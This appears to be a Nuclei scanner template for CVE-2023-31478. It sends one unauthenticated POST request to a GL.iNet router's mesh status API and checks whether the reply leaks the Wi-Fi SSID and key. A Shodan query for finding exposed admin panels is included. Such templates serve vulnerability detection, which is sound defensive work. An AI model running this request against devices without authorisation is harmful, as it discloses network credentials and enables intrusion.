id: CVE-2023-31478

info:
  name: GL.iNET SSID Key Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    An issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.
  impact: |
    Unauthenticated attackers can retrieve Wi-Fi SSID and password information through the mesh status API endpoint, potentially allowing unauthorized access to the wireless network and intercepting network traffic.
  remediation: |
    Update GL.iNET firmware to version 3.216 or later that requires authentication for the /api/router/mesh/status endpoint and protects Wi-Fi credentials.
  reference:
    - https://www.gl-inet.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-31478
    epss-score: 0.29699
    epss-percentile: 0.97955
    cpe: cpe:2.3:o:gl-inet:gl-s20_firmware:*:*:*:*:*:*:*:*
  metadata:
    vendor: gl-inet
    product: gl-s20_firmware
    verified: true
    max-request: 1
    shodan-query: title:"GL.iNet Admin Panel"
  tags: cve,cve2023,gl-inet,disclosure,vkev,vuln

http:
  - raw:
      - |
        POST /api/router/mesh/status HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mac=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"ssid":'
          - '"encryption":'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203d98a76565dfb489d90d9d876a303364842c6bf1251ac178734e264703de992902201e3e3dfe7082cd0f0ed7e80685613c81b1ec82f7831aff90c7365dbd188576c8:922c64590222798bb761d5b6d8e72950